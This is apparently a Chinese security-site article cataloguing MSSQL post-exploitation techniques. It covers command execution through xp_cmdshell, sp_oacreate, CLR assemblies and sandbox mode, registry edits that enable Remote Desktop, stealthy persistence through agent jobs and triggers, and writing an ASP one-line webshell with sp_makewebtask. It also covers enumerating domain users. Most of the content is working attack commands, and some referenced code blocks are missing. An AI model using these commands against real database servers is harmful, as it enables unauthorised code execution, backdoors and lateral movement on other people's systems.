标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2468] 作者: 凉笙 发表于: [2019-09-12]
本文共 [681] 位读者顶过
No.1 命令执行
1. xp_cmdshell 开启xp_cmdshell
执行exec xp_cmdshell "whoami" 恢复被删除的xp_cmdshell EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 提示找不到xplog70.dll则需要自己上传。 2. sp_oacreate 打开组件
执行 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt' 此方法无回显,可把命令执行结果写到web路径下或者配合dns侧信道 3. 沙盒执行 需要当前mssql用户有写注册表权限 开启 exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 执行 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') 在默认安装mssql 2012上报错 "无法创建链接服务器“(null)”的 OLE DB 访问接口“microsoft.jet.oledb.4.0”的实例。" 暂未找到解决办法。 4. CLR执行 Common Language Runtime(CLR)程序集定义为可以导入SQL Server的.NET DLL(或DLL组)。导入后,DLL方法可以链接到存储过程并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本机功能的好方法,但自然也为攻击者创造了机会。以C#代码为例,将下面代码用CSC编译为dll。
编译 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs //主意.net版本 得到的DLL上传到目标,设置dll文件权限,否则mssql可能因为文件权限问题导致读取dll失败。 开启CLR
遇到权限问题,需要设置数据库拥有者为sa,这个方法不能使用master数据库来执行查询语句 alter database [数据库名] set TRUSTWORTHY on EXEC sp_changedbowner 'sa' 接着执行
接下来就可以执行命令了
这个方法还可以通过16进制文件流的方式导入DLL,这样可以不用文件落地 5. com对象 开启 EXEC sp_configure 'Ole Automation Procedures',1 执行
No.3 注册表
1. 读注册表 EXEC xp_regread 'HKEY_CURRENT_USER','Control Panel\International','sCountry'
2. 写注册表 master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; #开启远程桌面 3. 删除操作 exec master.xp_regdeletevalue 'HKEY_LOCAL_MACHINE',' SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' //删除值 exec master.xp_regdeletekey 'HKEY_LOCAL_MACHINE',' SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' //删除键 4. 添加值
5. 枚举可用的注册表键 EXEC master..xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
No.4 持久化 1. 定时任务 启用sql server代理,右键-新建-作业
步骤-新建
配置执行的语句,可以自定义
然后在“计划”选项里配置执行时间 此外,可以使用十六进制CLR新建一个存储过程然后用计划作业执行存储过程,这样更加隐蔽。 2. 触发器 触发器用于在执行指定语句动作之后执行sql语句,如update,可配合注入使用
在对表进行update操作之后,就会执xp_cmdshell No.5 文件操作 1. 判断文件是否存在 exec xp_fileexist "C:\\users\\public\\test.txt" 返回0表示文件不存在,1表示存在。在执行无回显命令时,把执行结果重定向到一个文件,再用xp_fileexist判断该文件是否存在,就可知道命令是否执行成功。 2. 列目录 exec xp_subdirs "C:\Users\Administrator\",2,1 第一个参数设定要查看的文件夹。 第二个参数限制了这个存储过程将会进行的递归级数。默认是零或所有级别。第三个参数告诉存储过程包括文件。默认是零或只对文件夹,数值 1 代表包括结果集的文件。
[出自:jiwo.org] 3. 写文件 exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("SB"))%>'' ' 需要开启Web Assistant Procedures exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE 在sql server 2012上开启失败。 目录 exec xp_create_subdir 'D:\test' 5. 压缩文件 exec xp_makecab 'c:test.cab', 'mszip', 1, 'c:test.txt' , 'c:test1.txt' 它允许你指定一列你想压缩的文件还有你想放进去的 cab 文件。它甚至允许你选择默认压缩, MSZIP 压缩 ( 类似于 .zip文件格式 ) 或不压缩。第一个参数给出到 cab 文件的路径,这是你想创建和添加文件的地方。第二个参数是压缩级别。如果你想使用详细的日志记录就使用第三个参数。第四个参数后跟着你想压缩的文件的名称。可以在扩展存储过程里传 多个要压缩的文件名称。 No.6 信息获取 1. 获取机器名 exec xp_getnetname 2. 获取系统信息 exec xp_msver
3. 获取驱动器信息 exec xp_fixeddrives
4. 获取域名 SELECT DEFAULT_DOMAIN() as mydomain;
5. 遍历域用户 先获取RID SELECT SUSER_SID('CATE4CAFE\Domain Admins')
利用RID前48位即0x010500000000000515000000F80F57B63AF32D50A0916B7B构造SID即可遍历域用户。我们知道,域用户的SID是从500开始,所以把500转换成16进制,为01F4,在mssql里需要翻转为F401,然后用0000补足得到0x010500000000000515000000F80F57B63AF32D50A0916B7BF4010000,在mssql里查询
采用循环SQL语句遍历即可遍历出所有域用户。
msf有个模块可通过注入点枚举域用户
|